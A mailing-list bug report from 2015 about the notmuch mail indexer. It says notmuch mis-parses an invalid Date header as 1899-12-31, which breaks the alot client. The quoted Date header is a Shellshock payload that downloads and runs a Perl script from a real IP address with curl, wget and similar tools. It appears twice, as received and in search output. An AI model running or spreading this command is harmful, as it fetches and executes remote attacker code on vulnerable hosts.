Return-Path: X-Original-To: notmuch@notmuchmail.org Delivered-To: notmuch@notmuchmail.org Received: from localhost (localhost [127.0.0.1]) by arlo.cworth.org (Postfix) with ESMTP id A27E26DE1A45 for ; Wed, 22 Apr 2015 00:01:53 -0700 (PDT) X-Virus-Scanned: Debian amavisd-new at cworth.org X-Spam-Flag: NO X-Spam-Score: -0.02 X-Spam-Level: X-Spam-Status: No, score=-0.02 tagged_above=-999 required=5 tests=[NORMAL_HTTP_TO_IP=0.001, RCVD_IN_DNSWL_NONE=-0.0001, RCVD_IN_MSPIKE_H3=-0.01, RCVD_IN_MSPIKE_WL=-0.01, SPF_PASS=-0.001] autolearn=disabled Received: from arlo.cworth.org ([127.0.0.1]) by localhost (arlo.cworth.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 3FTOwRj7Wdw9 for ; Wed, 22 Apr 2015 00:01:51 -0700 (PDT) X-Greylist: delayed 308 seconds by postgrey-1.35 at arlo; Wed, 22 Apr 2015 00:01:50 PDT Received: from mout.web.de (mout.web.de [212.227.17.11]) by arlo.cworth.org (Postfix) with ESMTPS id C114D6DE1A3F for ; Wed, 22 Apr 2015 00:01:50 -0700 (PDT) Received: from localhost ([46.5.19.64]) by smtp.web.de (mrweb101) with ESMTPSA (Nemesis) id 0LgpVS-1Z5LYU3m4M-00oEBC for ; Wed, 22 Apr 2015 08:56:33 +0200 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg="pgp-sha256"; boundary="===============5658821246841805018==" MIME-Version: 1.0 Content-Disposition: inline To: notmuch@notmuchmail.org Message-ID: <20150422065630.6330.90536@hoothoot> From: Johannes Schauer User-Agent: alot/0.3.6 Subject: bug: notmuch cannot handle invalid Date fields Date: Wed, 22 Apr 2015 08:56:30 +0200 X-Provags-ID: V03:K0:tcPLe5dpOyRODUpZPabtfWlovT+vxq852X0ipsUF8tYQiKyNSoF Kd3CQa8J6epu/hqvitdj4zt4dBMOOJuvbTHupbyivcthK+d2hOshGZXlupVC0aP0WDNYSqg 9xKgBgnh8rXqfUqeUYu/O8FIHkFWn1FL6aD/wmsRanl9XTnQT9zl6c5OBdMgjRLYbAf0rLj 9uv8vNSti857ulTGYNg8w== X-UI-Out-Filterresults: notjunk:1; X-Mailman-Approved-At: Wed, 22 Apr 2015 05:08:25 -0700 X-BeenThere: notmuch@notmuchmail.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: "Use and development of the notmuch mail system." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 22 Apr 2015 07:01:53 -0000 --===============5658821246841805018== Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Hi, I recently received an email with the following date field (the value of all other headers is the same): Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-dow= nload http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254= .31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; When doing `notmuch search lwp-download` I get: thread:000000000001ea6b 1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tm= p ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt= ;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr = ex.*' &; (inbox unread) You can see that the date is 1899-12-31 which is wrong. This is annoying because the python module datetime which is for example us= ed by the notmuch client alot cannot handle dates before the year 1900 and will thus never show this email in its thread view but instead display an except= ion every time the view is refreshed. It would be great if an invalid date could either somehow default to a nil value or be a date that is 1900 or later. Thanks! cheers, josch --===============5658821246841805018== MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Description: signature Content-Type: application/pgp-signature; name="signature.asc"; charset="us-ascii" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAABCAAGBQJVN0YeAAoJEPLLpcePvYPhSOAQAIshVq9O3v5N2jjiE9tKcuqC mZ1rm6X2jZm/kbWFX1NSnQ5qI7Tyuy0S549k+/n3i3FTGxbYIyAaqJ5wSuTaqCNa nyRe4LNKT2mOq7RUt8XsD1fmUm8RIoxbGYqACsaugNP51K6IZCkwWxAtCj6u362c 4sTtOnsTd5AcDyWDX1ErX0nC/Jt7aWXIeBJm9P+XodKX+Vr1RFVxT83pkx7QOoQ4 aQMOdoQaVbejCN9bi93R/z8UWXCGxaC12FMNUCGPGGJHZQ4VUzNCJ303wQqb+4O7 6qKc6bzJg4YEbLgsr8oeWh0bkFjPiSdExFiS2uUYmaaM3aH5Y1ndayBhOXV9UrLS KSKrdJbUnqKaeMpCE4ACwL6MKO4tBek4hYwFETaP3fmhjm1uK2Bu6FgDM+3XTL9n 3kMBoQlkoA1EdaT3JQK+irBCnEoLzy897vqtf6YkgoKHbX4k2Fx9Bt2XUa7tygv3 1Ez6pRv9t8kHsde+ZU7xrQlJG5JfNDT43zP07VJUV10ctU2ZCt8cu3fMgrCPsK1m rx3RcnTNg2nbIq5fHhVZTk40s/3dA7yJua6i/nwaQaY7yX/AhHLGMU97krlkB83n xuYeuuKLj5Nv8QUTZ+juMVsEP6ukeM0ChtVIbMqP47/kuUvGqvYcn0Ii64HjF1jQ AjnMU1UmJfwH/+lpFnvI =dT8/ -----END PGP SIGNATURE----- --===============5658821246841805018==--